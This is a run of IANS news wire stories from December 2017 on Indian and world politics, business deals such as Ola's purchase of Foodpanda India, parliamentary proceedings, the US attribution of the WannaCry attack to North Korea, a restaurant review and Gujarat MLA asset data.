"Our commitment to invest $200 mn in Foodpanda India will help the business be focused on growth by creating value for customers and partners. With Delivery Hero's global leadership and Ola's platform capabilities with unique local insights, this partnership is born out of strength," said Bhavish Aggarwal, Co-founder and CEO at Ola.

According to the cab aggregator platform's statement, the deal includes the transfer of Foodpanda's India business to Ola in an acquisition deal in exchange for Ola stock.

The company also said Founding Partner at Ola, Pranay Jivrajka has been appointed as interim CEO of this business unit, supported by the existing leadership team at Foodpanda India.

"Saurabh Kochhar, who was the CEO of Foodpanda India until recently, has decided to move on to pursue other opportunities," Ola said in a statement.

The statement said Foodpanda India will benefit from Ola's scale and efficiencies as a platform, also having leveraged learnings from Delivery Hero's global best practices.

"The partnership with Ola will allow us to further consolidate markets where it strategically makes sense to collaborate with leading local players. At the same time, we consider our stake in Ola as a very valuable asset, while Ola's investment commitment in Foodpanda India is a clear and confident signal to the Indian market," said Niklas Ostberg, CEO and Co-founder of Delivery Hero AG.

--IANS

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Congress President Rahul Gandhi will visit Gujarat to attend a three-day meeting starting on Wednesday to review the party's showing in Assembly elections in which it gave a tough fight to the ruling BJP.

Other Congress leaders are also expected to attend the "review meeting" in Ahmedabad, party leaders said.

The Congress will analyse in detail why it failed to dislodge the Bharatiya Janata Party, which has ruled Gujarat for 22 long years, and the road ahead with 80 newly elected MLAs -- the highest number in decades.

Congress leaders say that although they lost the election, the victory of 80 party candidates and the BJP's failure to win even 100 seats in a state it considers its fortress has given a new confidence to the party.

The Congress campaign was led by Rahul Gandhi, who became the party President on December 16, two days after the Gujarat elections got over.

--IANS

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Rajya Sabha Chairman M. Venkaiah Naidu on Tuesday called a meeting of party leaders of the house in a bid to break the impasse that has led to repeated disruptions, as Congress continued its protest against Prime Minister Narendra Modi's Pakistan remarks against his predecessor Manmohan Singh.

Both the Lok Sabha and Rajya Sabha have faced disruptions over the issue, and on Tuesday, Congress staged a walkout in the lower house as it was not allowed to raise the matter. Congress MPs also boycotted the post-lunch sitting of the Lok Sabha over the issue.

Congress' deputy leader in Rajya Sabha Anand Sharma said Congress presented its points in the meeting, and is waiting for the government's response.

"We have given our proposition, we are waiting for government's response... whether the justifiable demand of the opposition is acceptable to the Prime Minister," Sharma told reporters.

Modi, during the campaign for Gujarat assembly polls, had claimed that during a meeting at Congress leader Mani Shankar Aiyar's house, the guests including Manmohan Singh, discussed the Gujarat polls with Pakistan's High Commissioner to India and former Pakistani Foreign Minister Khurshid Kasuri.

Congress has been demanding an apology from Modi.

"We can only request, it is upto them to redeem what they can redeem," said Sharma, also adding that his paty is not trying to score any "brownie points".

--IANS

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The Kremlin on Tuesday slammed US President Donald Trump's national security strategy, calling it of "imperial nature".

Kremlin spokesman Dmitry Peskov said that the "mentions of Russia demonstrated the imperial nature of the document" and showed "an aversion to a multi-polar world", Sputnik news agency reported.

On Monday, Trump called Russia and China "revisionist powers" who "want to shape a world antithetical to US values and interests". But he said that Washington was ready to cooperate with Moscow in areas of common interest.

Peskov stated that Russia cannot accept that it is treated as a threat to US security. He, however, lauded the positive aspects of the document, such as Washington's willingness to cooperate with Russia in areas of common interest.

China had also criticised Trump's security plan and called upon the US to "abandon its Cold War mentality".

--IANS

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Former Alaskan Governor Sarah Palin's oldest son has been charged with beating up his father, the media reported.

Court records showed on Monday that the incident took place at the Palin home in Wasilla, Alaska, where Track Palin bloodied his father, Todd, in a dispute over a truck on December 16, reports CNN.

The 28-year-old was arrested on three charges, including assault. The dispute began when he called to say he wanted to come get the truck, and his father refused, according to court documents.

Track Palin called the officers on the scene "peasants" and told them to abandon their weapons when they attempted to communicate with him, the records said.

At one point, he got onto the garage roof before eventually being detained.

Sarah Palin said her son was "freaking out" and "was on some type of medication", reports CNN.

The incident is not his first arrest related to domestic violence. He was arrested in 2016 and charged with domestic violence assault involving a female, interfering with a report of domestic violence and possession of a weapon while intoxicated.

Sarah Palin attributed her son's actions in 2016 to his time serving overseas.

--IANS

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A casino policy which allows the players to move from the water to land will actually allow the gaming industry to expand multifold, says Delta Corp, which operates casinos in Goa and Sikkim.

"It (casino policy) is a sensitive topic, we understand that. Other policies... yes there is I believe a policy which is going to allow us to move from the river to the land -- with rivers you face a lot of challenges, access being one of it and a whole host of other infrastructure creation around being on water which we need to look into," Delta Corp CEO and President Anil Malani told BTVi in an interview.

"If we move to land, all that will eventually fall, we won't have to deal a lot of that stuff. Right now we are completely strained for capacity. When that happens we could be building may be five times, 10 times next year. So we can actually plan for years to come," he added.

Delta Corp is the only listed company engaged in the casino -- live, electronic and online -- gaming industry in the country, and along with its subsidiaries, currently owns and operates casinos in India, in Goa and Sikkim, offering approximately 1,600 gaming positions. The two states are the only in India to allow casinos.

On expansion plans, Malani said the company has recently signed an MoU with a hotel owner in Kathmandu and it is expected to be operational by the second half of next year.

"We are waiting for our Daman license to come through, that will be a game changer for us. We have also recently opened a casino in Gangtok, Sikkim, we are hoping the business picks up over there because there is a new airport...," said Malani, hopeful of an increased traffic in the state.

"Goa is already growing at the 30-30 per cent," he added.

The company had last year ventured into the online gaming space through the acquisition of Gauss Networks, which operated the online poker site "Adda52.com".

"One of the things that we did last year was that we acquired an established online player called Adda52.com -- the largest skill-based poker online company -- and we do believe that there is good growth over there," Malani added.

--IANS

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Head to the China Club here to savour authentic Chinese delicacies in a fine wine and dine set-up with simple and classy interiors. Dishes with duck, poultry and pork will delight the non-vegetarians and there's much to try for vegetarians too.

The appetizers set the momentum going for a hearty meal. Stir fried asparagus with dried chilli and Ya Cai was as tempting and tasty in the vegetarian menu, and crispy fried prawns with ginger in the non-vegetarian section was a delight. However, if you don't want to indulge in fried food, then sauteed sliced lamb with black pepper and capsicum is a good option.

Don't come looking for "Manchurian" here.

Yuan Sheng, the Master Chef, told IANS: "The clientele here is mostly well travelled and exposed to international, authentic Chinese menu that we provide to our patrons. Still, sometimes we do receive such requests (of street food style spicy Chinese). However, the staff is well-trained to explain the authenticity of the food at our restaurant and recommend dishes to them, keeping in mind their palate."

Asked if people are open to experimenting as the restaurant also offers pork, lamb, duck and crab besides chicken meat, Sheng said: "Yes. Once they are explained the cuisine and the various offerings available, they are more than willing to leave things to the attendant who is able to recommend dishes after understanding their likes and dislikes."

There are a variety of options for vegetarians -- dispelling the misconception that "pure Chinese food" is all about different meats. Some of the preparations include sauteed bean curd, tofu, eggplant, mushrooms, Chinese cabbage and sauteed vegetables, in different sauces like the good old chilli sauce, oyster sauce, bean curd and Szechuan special sauce.

The braised eggplant with Szechwan special sauce and boiled dumpling with chicken in spicy chilli sauce were my heroes.

The perfect dumplings were a delight in the spicy sauce. Even though it was hot, it left a lasting taste. Tip: Even if your food looks spicy, give it a try. As they say, don't judge a book by its cover.

The braised eggplant is a must-try even if you prefer non-vegetarian because it melts in the mouth. To enjoy this dish, don't forget to sip on your red wine or whiskey on the rocks after a few bites.

Home-style sliced chicken with black fungus is another recommended dish.

As for the fish, I tried the steamed basa with soy. It is for those with an acquired taste. Steamed basa is always a very healthy choice and it has an interesting taste when paired with red wine.

Coming down to the sweet section, it is important to understand that Chinese aren't very big on desserts, although the restaurant does offer a few options.

"The general offerings would typically be sweet dimsum or fresh fruits. However, we still offer a variety of international desserts, the popular amongst them being caramelized fruit toffee dipped in brandy and hot chocolate brownie with vanilla ice cream," Yuan said.

FAQs:

Where: China Club, Lobby Level, Tower C, Global Business Park, MG Road, Gurugram

Timings: 12 p.m to 3 p.m, 7 p.m to 11 p.m

Price: Rs 2,400 (approx) for two people, exclusive of applicable taxes and charges; Rs 320 for a pint of beer

(The writer's visit was at the invitation of China Club. Kishori Sud can be contacted at kishori.s@ians.in)

--IANS

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Assam Chief Minister Sarbananda Sonowal on Tuesday urged entrepreneurs and industrialists in Karnataka to invest in his northeastern state, as it is the springboard for India's Act East Policy.

"Though our state is in the northeast, it is strategically located with access to markets to seven states in the region and eight countries in Southeast Asia," he said at a road show here on the first Global Investors Summit "Advantage Assam" being held in Guwahati on February 3-4, 2018.

Terming the northeast as the new engine of growth, Sonowal said his government had created a business-friendly environment for investments in diverse sectors of the economy.

"We have new policies for start-ups and investments in diverse sectors like plastics, petrochemicals, agro-food processing, pharmaceuticals and medical equipment across the state, which is blessed with natural and human resources to tap," he said.

Noting that his government had opened skill development institutes to train the youth and incubation centres for start-ups, the Chief Minister urged the IT firms in Bengaluru to set up their development facilities in Guwahati and other cities across the state.

"There is a huge potential to offer software and IT-enabled (back office) services from our state and create jobs for thousands of young graduates passing out of colleges and universities in the region," he said.

Sonowal claimed that his government had attracted Rs 6,500 crore in investments into the state in one year after the BJP came to power in May 2016.

The state government is also improving air connectivity to make Guwahati a regional hub for travel to and from southeast Asian nations.

"Efforts are underway to improve national waterways across Brahmaputra and Barak and provide connectivity to ports in Bangladesh across the border," said Assam Chief Secretary V.K. Pipersenia.

The state government has also set up a separate department for promoting the Prime Minister's Act East vision and position Assam as the centre for India-Asean interface.

"We are building a World Trade Centre in Guwahati, which will house consulates from the Asean region," added Sonowal, who, along with officials, held interactive sessions with top executives of Biocon, Toyota Kirloskar Motor Ltd, Wipro, IBM, Bharat Electronics, BEML and ISRO.

The two-day summit, to be inaugurated by Prime Minister Narendra Mod on February 3, is aimed at flagging the state's geo-strategic advantages and opportunities for investors from across the country and overseas.

The Federation of Indian Chamber of Commerce and Industry is the summit partner.

--IANS

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Actress Rani Mukerji, who attended the trailer launch of her upcoming film "Hichki" on Tuesday, says that "speech impairment" is not a subject but a reality that most people live with in real life.

When asked if talking about the speech impairment issue with the movie will help bring awareness, she said: "First of all, I would like to say this isn't a subject but a part of many lives."

"The people who suffer from the syndrome are challenged in every part of their lives. During research for the role, I met many kids who suffered from it and their parents, they haven't been able to come out properly in India.

"If you look at America, where there are stand up comedians, who step forward and took their 'turrets' in their act, in their comic format. So now when we start talking about it in India, I am sure lot more people will come forward and talk about their experience," added Rani.

Rani Mukerji also informed that her performance in the movie also comes from a very personal space as she used to stammer in her childhood.

"I used to stammer when I was a kid and my mom was also facing the same thing. My elder brother still does. I have overcome the issue a lot because as an actress I have to say many dialogues, express many emotions and stammering usually takes place and is highly noticeable when you are emotionally affected," she said.

"I had to control it a lot and work a lot on it but the good thing is, if you can overcome it you can make your weakness your strength," added Rani.

"Hichki" traces the journey of a teacher who suffers from Turrets syndrome. Students make fun of the side-effects of her disease and schools do not agree to hire her.

Finally, she gets admitted to one of the schools but has to deal with a set of municipal students who no one wants to teach.

When asked if there were any other films offered to her after "Mardaani", she said: "I don't remember as such but after pregnancy when I decided and said that I want to do a film, I was offered 'Hichki'."

"Hichki" is directed by Siddharth P Malhotra and produced by Maneesh Sharma under the banner of Yash Raj Films.

The film celebrates self-belief, the resilience of human spirit and hope. The film is about turning disadvantages into opportunities and staring down at challenges and ultimately winning over them.

It is slated for a February 23, 2018 release.

--IANS

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After Lok Sabha members on Tuesday expressed concern over the Brahmaputra river being polluted by China, Parliamentary Affairs Minister Ananth Kumar assured the House that he will take up the issue at the "highest level" in the government.

The matter was raised by Bhartruhari Mahtab of the Biju Janata Dal (BJD) during Zero Hour. Mahtab said pollution in the river which flows through China, India and Bangladesh, has increased. He said that the issue must be taken up with Beijing.

Referring to media reports, the BJD leader said cement flowing in the river water was causing "great damage to health of the river and also to irrigation facility".

"Nephelometric Turbidity Unit (NTU) in Siang river is very high...," he said raising the issue.

He also urged the Centre to make the issue public and share the response of the Chinese government.

Mahtab was joined by Bharatiya Janata Party member from Assam Bijoya Chakravarty, who said the water in the river has been polluted at the source.

Chakravarty also said that the issue was raised with Home Minister Rajnath Singh, who promised to take it up with External Affairs Minister Sushma Swaraj.

"It is a very serious issue. Already Brahmaputra has been completely polluted... because of some substance coming from China. It is contaminated right from source... the riparian area should be taken care of," she said.

Ananth Kumar joined the members in expressing concern over the issue.

"This will definitely affect the plain, especially in Assam and northeastern parts...," he said.

Water in the Siang river, which flows as Yarlung Tsangpo from southern Tibet, and becomes the Brahmaputra river in Assam, has turned black.

Arunachal Pradesh Chief Minister Pema Khandu and his Assam counterpart Sarbananda Sonowal have also raised the issue with the central government.

--IANS

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There is a threat to RJD chief Lalu Prasad's life, said party MP Jay Prakash Narayan Yadav and urged the Central government to reinstate his Z-Plus security cover.

"There is a threat to his life and his security has been downgraded... he can be killed," Yadav said raising the issue during Zero Hour in the Lok Sabha on Tuesday.

"I request the Centre to reinstate his security," he said.

The Rashtriya Janata Dal had also given an adjournment motion notice over the issue, which was rejected by Speaker Sumitra Mahajan.

The Central government last month scaled down the Z-Plus security cover of Lalu Prasad provided by the National Security Guard commandos to leaders in the Z category.

--IANS

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US President Donald Trump has said Washington will support a "leadership role" for India in the "broader" Indo-Pacific region as he unveiled his "America First National Strategy".

The blueprint for US national security also warned of rising threats from an emboldened Russia and China as well as from "rogue governments" like North Korea and Iran. It also spoke about making Pakistan speed up its counter-terrorism efforts.

The document said: "We will deepen our strategic partnership with India and support its leadership role in Indian Ocean security and throughout the broader region."

Turning to Islamabad, Trump said: "We will press Pakistan to intensify its counterterrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partner's own service members and officials.

"The US will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets."

In a year-end, campaign-style speech in central Washington on Monday, the President emphasised that the US had been cheated and taken advantage of abroad while its citizens were ill-served at home -- a situation he said his security plan would seek to reverse.

Trump's national security strategy has four main organising principles: protecting the American homeland, protecting American prosperity, preserving peace through strength and advancing US influence.

Trump's campaign theme of "America First" formed the foundation of his remarks. "A nation that does not protect prosperity at home cannot protect its interests abroad," Trump said.

"A nation that is not prepared to win a war is a nation not capable of preventing a war. A nation that is not proud of its history cannot be confident in its future. And a nation that is not certain of its values cannot summon the will to defend them."

Trump's all-encompassing strategy plan looked for allies to face what he sees as "an extraordinarily dangerous world, filled with a wide range of threats".

He boasted about his own achievements and reiterated that Americans have been left behind as a result of decisions made by past administrations, including on immigration, the Iran nuclear deal and trade pacts.

He said that past administrations didn't now how to cut trade deals.

"Our leaders in Washington negotiated disastrous trade deals that brought massive profits to many foreign nations but sent thousands of American factories and millions of American jobs to those other countries," he said.

A significant part of his strategic document that he presented at an auditorium was devoted to threats from China which he framed as "a geopolitical competition between free and repressive visions of world order is taking place in the Indo-Pacific region".

"China is using economic inducements and penalties, influence operations, and implied military threats to persuade other states to heed its political and security agenda," he said.

In this theatre, he said: "We welcome India's emergence as a leading global power and stronger strategic and defense partner. We will seek to increase quadrilateral cooperation with Japan, Australia and India."

Trump called Russia and China "rival powers" who "seek to challenge American influence, values and wealth," but stopped short of calling out Moscow for its election meddling.

"They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence.

"We will attempt to build a great partnership with those and other countries, but in a manner that always protects our national interest," Trump said, recounting a conversation he held with Russian President Vladimir Putin on Sunday about shared US intelligence that helped thwart a terrorist attack in St. Petersburg.

The President said intellectual property theft would be targeted, a clear warning to China which American companies have complained about for years. "We will no longer tolerate trading abuse."

Trump boasted about his decision to withdraw from the "very expensive and unfair Paris climate accord" that President Barack Obama agreed to.

--IANS

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Two militants and a woman were killed and nine civilians injured on Tuesday in Jammu and Kashmir's Shopian district during a gunfight between militants and security forces.

The woman, identified as 24-year-old Rubi Jan, sustained a gunshot injury during protests in Batmuran village during the encounter between the holed up militants and the security forces, the police said.

Nine protesters were also injured in the clashes. The injured Jan was shifted to hospital where doctors declared her "brought dead".

The third militant sustained a minor injury but was still engaged in the gun battle.

Director General of Police S.P. Vaid said one of the slain militants was from the area.

The gunfight started on Monday evening when troops of the Rashtriya Rifles (RR) and Special Operations Group (SOG) of the state police surrounded a house where the three were said to be hiding.

The hideout was destroyed in the fight.

Authorities have suspended Internet services in the south Kashmir region to check the spread of rumours.

--IANS

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The Uttar Pradesh government on Tuesday terminated the services of former Director of the Forensic Science Lab (FSL), an official said.

The services of Shyam Bihari Upadhyaya had been terminated "in public interest", said Principal Secretary (Home) Arvind Kumar.

Upadhyaya was Director of the FSL when a suspicious powder was found in the state assembly and he had erroneously termed it as PETN, a highly explosive chemical compound.

He was suspended on September 4, following a probe.

After a go-ahead from Governor Ram Naik, the state government has also issued dismissal order of FSL Scientific Officer Raghvendra Yadav.

Both officers have been given compulsory retirement and they would be eligible for three months' salary and other perks.

Earlier in the day, there were heated exchanges in the state assembly between the treasury and the opposition benches and the latter slammed the government over the incident.

--IANS

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The number of visas issued to Pakistanis registered a steep fall this year, while its demand from Bangladesh saw an increase, Minister of State for Home Kiren Rijiju informed the Lok Sabha on Tuesday.

In a written reply to the lower House, Rijiju said a total of 34,445 visas were issued to Pakistan in 2017 compared to 52,525 in 2016.

The minister said the number of visas issued to Bangladesh, however, increased to 1,289,332 in 2017 as compared to 933,695 in 2016.

Officials said that increased hostilities between India and Pakistan since the January 2, 2016 Pathankot attack and the ongoing skirmishes on the border with Pakistani troopers had an impact on the bilateral relations of the two countries, resulting in rejection of visa applications considering security concerns.

They also said that thousands of applications were pending for long citing security clearance.

Citizens of both countries have families across the border and visit religious places in large numbers.

In 2012, India and Pakistan signed a liberalised visa agreement that proposed a time-bound approval to boost trade and people-to-people contact.

--IANS

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The Rajya Sabha on Tuesday saw some lighter moments after Chairman M. Venkaiah Naidu asked Health Minister J.P. Nadda as to what an e-cigarette was.

Naidu's query come during the Question Hour after a member asked the Health Minister about the health risks of e-cigarettes.

"The supplementaries are over. But I would like to ask the Minister for the sake of the members' and country's general knowledge, what is an e-cigarette?" Naidu asked curiously as MPs and mediapersons laughed.

Nadda explained that an e-cigarette is a device that produces vapours of nicotine by heating a nicotine capsule inside it. The smoker puffs this vapour.

"It does not contain tobacco but nicotine. The smoker gets a high from these vapours that they get by smoking a cigarette," Nadda said.

Earlier, replying to a question, Nadda said that although the Union Health and Family Welfare Ministry has not issued any advisory to state governments on the health risks of electronic smoking, it is working on the subject.

"We had formed three sub-groups to study various aspects of the matter. They have submitted their reports and the ministry is considering it. Several countries have banned e-cigarettes and we are studying the legal aspects of it," he said.

--IANS

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Concerned over data privacy of its citizens, France's privacy watchdog has issued formal notice to WhatsApp, asking the popular mobile messaging app to stop sharing user data with the parent company Facebook within a month.

If WhatsApp fails to comply with the formal notice within the specified time scale, the Chair of the National Data Protection Commission (CNIL) may issue a sanction against the company, CNIL said in a statement late on Monday.

The Chair had asked WhatsApp to provide a sample of the French users' data transferred to Facebook.

"The company explained that it could not supply the sample requested by the CNIL since it is located in the US, it considers that it is only subject to the legislation of this (US) country," CNIL posted on its website late on Monday.

"As a result, the Chair of the CNIL decided to issue formal notice to the company WhatsApp to comply with the Data Protection Act within one month," it added.

Facebook acquired WhatsApp in 2014.

On August 25, 2016, WhatsApp released a new version of its Terms of Service and Privacy Policy where it explained that "from now on, its users' data is transferred to Facebook for three purposes: targeted advertising, security and evaluation and improvement of services (business intelligence)".

"While the security purpose seems to be essential to the efficient functioning of the application, it is not the case for the 'business intelligence' purpose which aims at improving performances and optimising the use of the application through the analysis of its users' behaviour," noted Chair of the CNIL.

The watchdog considered that the data transfer for "business intelligence" purpose is not based on the legal basis required by the Data Protection Act for any processing.

It then decided to send a formal public notice in order to ensure the highest level of transparency on the massive data transfer from WhatsApp to Facebook Inc. and, thus, to alert to the need for individuals concerned to keep their data under control.

This is not the first incident where WhatsApp-Facebook data sharing has been condemned.

Germany has ordered Facebook to stop collecting data from WhatsApp users.

A German court this year upheld its decision asking Facebook to obtain the permission of WhatsApp users in the country before processing their personal data to the social media platform.

After repeated criticism, Facebook also agreed to stop collecting WhatsApp user data in the UK.

The Supreme Court of India has also directed Whatsapp and Facebook to specifying whether they were sharing the data with any third-party entity.

--IANS

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White House Homeland Security Adviser Tom Bossert has said that the US believes North Korea was behind the massive "WannaCry" cyberattack in May, the media reported.

"After careful investigation, the US today publicly attributes the massive 'WannaCry' cyberattack to North Korea," Bossert wrote in a Wall Street Journal op-ed on Monday.

"The attack was widespread and cost billions, and North Korea is directly responsible."

The US has evidence for the claim, and the UK and Microsoft reached similar conclusions in their analyses of the attack, which plagued computers the world over in May, CNN quoted Bossert as saying.

The administration is calling on the private sector to do more to prevent such incidents, the adviser said, adding that Microsoft and others had taken action last week to disrupt North Korean hacking efforts.

CNN reported in June that UK intelligence believed a group associated with the North Korean government was behind the attack, and The Washington Post reported around the same time that the National Security Agency had reached a similar conclusion.

Bossert wrote that North Korea's "malicious behaviour" has gone on for years and is growing more egregious.

"WannaCry was indiscriminately reckless."

Pointing to threats outside of North Korea, Bossert said preventing similarly massive cyber incidents would take concentrated effort and that President Donald Trump had taken steps in the right direction, such as ordering the modernisation of government information technology to enhance the security of US computer systems and the sharing of software vulnerabilities with developers.

Bossert warned of the threat from Russian hackers and touted legal action taken against suspected hackers as well as the Trump administration's decision to ban software from the Russia-based company Kaspersky Lab in government computers.

The adviser pointed to the US government's recent charges against Chinese nationals for hacking and for identity and trade secret theft, as well as against Iranians for hacking, and he urged calling out "bad behaviour" by other countries, including what he called the "corrupt regime" of Tehran.

The global "WannaCry" cyberattack targeted computers running the Microsoft Windows operating system by encrypting data and demanding ransom payments in the Bitcoin cryptocurrency.

The attack took place on May 12 and infected over 230,000 computers in more than 150 countries.

--IANS

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The White House petition site "We the People" where citizens voice their concerns has been temporarily shut down.

President Donald Trump's administration said the platform, launched in 2011 by former President Barack Obama, was shut down on Monday night and will return late January as a new site, reports Xinhua news agency.

A White House official said the decision will save taxpayers $1.3 million annually.

The official also said all existing petitions and responses will be preserved.

Petitions that attract 100,000 signatures will trigger a White House response.

The administration has not responded to any of over a dozen petitions that have reached that threshold since the Trump took office in January.

Among those are petitions urging the President to release his tax returns and to place his assets in a blind trust.

--IANS

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The government on Tuesday accused the governing body of Dyal Singh College of creating "unnecessary controversy", saying that it will not permit to change the college's name to Vande Mataram Mahavidyalaya.

Responding to concerns raised by Akali Dal member Naresh Gujral over the issue, Union Human Resource Development (HRD) Minister Prakash Javadekar informed the Rajya Sabha that the decision of the governing bodyhas been put on hold.

"It was not the decision of the government. We have kept the proposal on hold and have also called a meeting. It is not good to create unnecessary controversy. We do not like it. Ultimately, it will not happen," Javadekar said.

Raising the issue during the Zero Hour, Gujral accused the governing body of spreading hatred and urged the HRD Minister to replace it.

"It was very unfortunate to change the name of Dyal Singh Majithhia College and we condemn it. We do not have any objection with the name Vande Mataram as it evolves patriotic fervor. You can establish or name universities across the country as Vande Mataram," Gujral said.

The governing body of the college had announced on November 18 that Dyal Singh College (Evening) will be called Vande Mataram Mahavidyalaya.

Several educationists, including members of the Sikh community has opposed to the proposal.

Built on the estate of Sardar Dyal Singh Majithia, the college was first started in Lahore in 1910 and is named after its founder. The one in Delhi was built in 1959.

Dyal Singh Majithia was a multifaceted personality, having founded The Tribune newspaper in Lahore in 1881 (now published from Chandigarh) and the (now nationalised) Punjab National Bank.

--IANS

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With reference to Saffron surge (December 19), without an iota of doubt the Gujarat election was one of most bitter and hostile elections fought in recent times. Winning a state after ruling it continuously for 22 years is no mean achievement, irrespective of the fact that the Bharatiya Janata Party (BJP) won 16 fewer seats than the last time. Not to forget the massive vote share of almost 50 per cent. And though the Congress has put the blame of this loss on EVM machines and claimed it to be a moral victory as it has increased its tally, it is high time it accepted the defeat gracefully. Few things came out clearly from this result; first and foremost, all the criticism of bold decisions like goods and services tax and demonetisation has failed because the BJP has won all the nine seats from Surat, which is a traders hub.
Elated with BJP's victory in Gujarat and Himachal Pradesh, BJP workers in poll-bound Meghalaya on Monday voiced confidence that their party would oust the ruling Congress.

Party workers are already working on the ground to achieve its target "Mission 40", targeting to win 40 seats in the 60-member assembly in the elections scheduled to be held in February-March next year, said BJP national spokesperson Nalin Kohli.

"The mood of change is already certain in Meghalaya. The people of Meghalaya are looking for a new change and this is obvious with several Congress legislators jumping the ship," Kohli told IANS.

" of development is getting stamp of approval across India under the BJP rule. Why should Meghalaya be excluded from it?" he said.

State BJP President Shibun Lyngdoh said that talks are still on with some sitting legislators, including Congress' Alexander Hek and Nationalist Congress Partys' Sanbor Shullai for joining the party.

"They will be joining us (BJP) at the right time along with Independent legislators," Lyngdoh told IANS.
The Congress is set to protest the insult to former prime minister when Prime Minister Narendra Modi attends the Lok Sabha on Wednesday and the Rajya Sabha on Thursday. Senior government sources, however, ruled out an apology from the PM on the issue.
A 11-year-old boy of a private school here was in for a pleasant surprise when he was invited to sit on the chair of Lt Governor Kiran Bedi at her office in Raj Nivas hereand drawing an art piece as per her wish.

Bedi in her whatsapp message to mediapersons said the boy, who bagged third spot at a national level painting competition conducted recently by the Central government in Delhi,drew painting depicting images of a child and a natural scenery.

G S Jeevanandham from Jawahar Higher Secondary school at nearby Koodapakkam village had come to the Raj Nivas to get the blessings of the Lt Governor for bagging the third prize in the ompetition.

He was accompanied by his parents, the school principal and the Class teacher.

This was the second time a school child has had the opportunity to sit in the chair of the Lt Governor.

Earlier in October another boy who was on a visit to Raj Nivas to see its architectural features along with his parents was let to sit on the chair by Bedi.

Bedi had then said her intention was to 'motivate young kids to develop high thinking and inspire them to be Lt Governor of the Union Territory one day.

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Total 190 paramilitary personnel, including 99 of the CRPF, have been killed in action during the last three years, the government informed Parliament today.

Minister of State for Home Kiren Rijiju, in written reply to a question in the Lok Sabha, presented data about the total number of security personnel of the Central Armed Police Forces (CAPFs) and the Assam Rifles being killed while performing their duties during the last three years.

According to the data, a total of 190 personnel were killed that included 99 from the Central Reserve Police Force (CRPF), 45 from the Border Security Force (BSF), 41 from the Assam Rifles, four of the Sashastra Seema Bal (SSB) and one from the Indo-Tibetan Border Police (ITBP) force.

Rijiju said these forces "have reported a total of 20 cases where compassionate appointments (of government job) were given during the period (last three years)".

"Forces have reported 13 cases pending or under process (for providing compensation) due to succession certificates and other documents required as per rules," he said.

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As many as 318 people, including 203 terrorists and 75 security personnel, were killed in terror-related incidents in Jammu and Kashmir this year, the Lok Sabha was informed today.

In the North-East, 97 people, including 51 insurgents and 12 security personnel, were killed in insurgency-related incidents, Minister of State for Home Hansraj Ahir said during Question Hour.

Up to December 14 this year, 337 terror incidents were reported in Jammu and Kashmir in which 40 civilians, 75 security personnel and 203 terrorists were killed and 321 persons injured. Ninety-one terrorists were also arrested.

Referring to incidents in the areas affected by left wing extremism, Ahir said up to November 30 this year, 813 incidents took place leading to the death of 170 civilians, 75 security personnel and 111 left wing extremists. One hundred and forty five people were also injured. He said 1712 left wing extremists were also arrested.

While there have been two attacks each in 2014 and 2015 on defence establishments, six attacks took place in 2016. This year upto December 10, one defence establishment came under attack.

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Thirty-four cases of passengers' baggage being stolen were reported this year at Delhi's Indira Gandhi International Airport, according to the government in Parliament.

Minister of State for Civil Aviation Jayant Sinha also said that the role of employees working at the airport "cannot be ruled out".

"The theft cases reported/registered at Delhi airport during 2016 and 2017 (till November 2017) are 34 and 31 respectively," he said in response to a question in Rajya Sabha.

He added that such incidents are a law and order issue and complaints are lodged with the local police.

However, aviation security watchdog, the Bureau of Civil Aviation Security (BCAS), has taken a slew of measures to check incidents of theft, including setting up of help-desks by the CISF to enable passengers to register complaints about missing baggage, frisking of ground handling staff and deployment of airline security staff around the cargo-hold area of the airline.

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Of the 182 newly-elected Gujarat MLAs, 47 have declared criminal cases against them, while 141 are crorepatis, says a report released by the Association for Democratic Reforms (ADR).

"Out of the 182 MLAs analysed, 47 (26 per cent) MLAs have declared criminal cases against them. Out of 182 MLAs analysed during Gujarat assembly elections in 2012, 57 (31 per cent) MLAs had declared criminal cases against them," the report by ADR said today.

Gujarat Election Watch and ADR have analysed the self- sworn affidavits of all 182 newly-elected MLAs in the Gujarat 2017 assembly elections.

Among MLAs with serious criminal cases, 33 have declared serious cases including cases related to murder, attempt to murder, dacoity, robbery etc. Out of 182 MLAs analysed during Gujarat assembly elections in 2012, 24 MLAs had declared serious criminal cases against them.

ADR, which works for electoral and political reforms, said that among party wise MLAs with criminal cases, 18 out of 99 MLAs from BJP, 25 out of 77 MLAs from INC, one of the two MLAs from Bhartiya Tribal Party, one MLA from NCP and two out of three independents have declared criminal cases against them in their affidavits.

Besides, 12 MLAs from BJP, 17 from INC, one from Bhartiya Tribal Party, one from NCP and two independents have declared serious criminal cases against them in their affidavits.

"Out of the 182 newly-elected MLAs, 141 (77 per cent) are crorepatis. Out of 182 MLAs analysed during Gujarat 2012 assembly elections, 134 (74 per cent) MLAs were crorepatis," the report said.

Among partywise crorepati MLAs, 84 MLAs from BJP, 54 from INC, two MLAs from Bhartiya Tribal Party and one MLA from NCP have declared assets valued more than Rs 1 crore.

The average assets per MLA in the Gujarat 2017 assembly elections is Rs 8.46 crore, while the same was Rs 8.03 crore in 2012.

The average assets per MLA for 99 BJP MLAs analysed is Rs 10.64 crore, 77 INC MLAs (5.85 crore), 2 Bhartiya Tribal Party MLAs (Rs 2.71 crore) and 3 Independents (Rs 53.86 lakh).

The top three MLAs with high assets are Saurabh Yashvantbhai Dalal Patel of BJP with total assets of over Rs 123 crore, followed by Dhanjibhai Patel (Makson) also from BJP (over Rs 113 crore) and Chavda Jawaharbhai Pethaljibhai from INC (over Rs 103 crore), the report by ADR said.

Three MLAs in Gujarat with lowest assets have their assets valued less than Rs 13 lakh led by independent Jigneshkumar Natvarlal Mevani with total assets of over Rs 10 lakh.

The report said that 13 out of 182 MLAs have not declared their sources of income.

The average assets of re-elected MLAs in 2017 is Rs 10.71 crore, while in 2012 it was Rs 7.41 crore, ADR added.

"The growth in average assets of re-elected MLAs is Rs 3.30 crore ie by 45 per cent," it said.

On their education details, the report said that 96 MLAs have declared their qualification to be between 5th pass and 12th pass, while 69 have declared having a qualification of graduate or above. There are seven MLAs who are just literates while there is one who is illiterate.

As per the findings of the report, 21 MLAs have declared their age to be between 25 and 40 years, while 121 between 41 and 60 years. There are 40 MLAs who have declared their age to be between 61 to 80 years.

Out of the 182 MLAs, 13 are women against 16 in 2012.
